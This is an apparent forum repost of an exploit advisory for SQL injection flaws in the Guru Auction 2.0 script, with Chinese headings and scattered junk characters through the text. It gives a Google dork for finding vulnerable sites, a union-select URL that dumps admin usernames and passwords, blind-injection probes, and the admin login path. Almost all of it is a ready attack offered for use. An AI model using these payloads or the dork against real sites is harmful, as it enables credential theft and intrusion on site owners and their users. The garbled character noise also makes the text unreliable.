Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
7 s: x. N: h- t, m# z) h+ n
& S' A9 @, x0 B" p1 O- a: h作者 : v3n0m- ^9 o& q# a9 ]& X
应用 : Guru Auction 2.0) m; b) @/ D8 [* B& u2 J
Price : $49; `& F# R- k& Z
Vendor : http://www.guruscript.com/) d+ @3 E" d: H% J& P
Google Dork : inurl:subcat.php?cate_id=9 e) f* Q) ~2 B- [9 y6 y
O% L, ?2 D2 G9 @* T$ s4 uSQLi p0c:$ G4 ]3 {0 G" g$ ?
~~~~~~~~~~& n) r _1 j8 `
http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--7 y4 z1 |7 @* A6 {5 j8 W0 F" T [: P
M% \" P" r0 w' s% r
8 d! f. |& E( l' m盲注 p0c:& `( Z1 N8 U }7 u/ V9 x4 o
~~~~~~~~~~
* a9 K7 G; G9 |# Yhttp://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true
9 s4 F9 J/ c2 ^2 Y. y7 Qhttp://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false
% d5 v7 \ [* g4 J6 N' l& a0 B; d 0 i+ |$ n& a0 g* i* Z2 T, ^
管理登录入口:
" F8 e1 R. x7 c, U; t- {~~~~~~~~~~3 W* f; l2 D5 [& y0 q. [
http://domain.tld/[path]/admin/1 K# Q4 G6 f& g* J' c
|
发表于 2012-12-31 09:24:05
收藏
支持
反对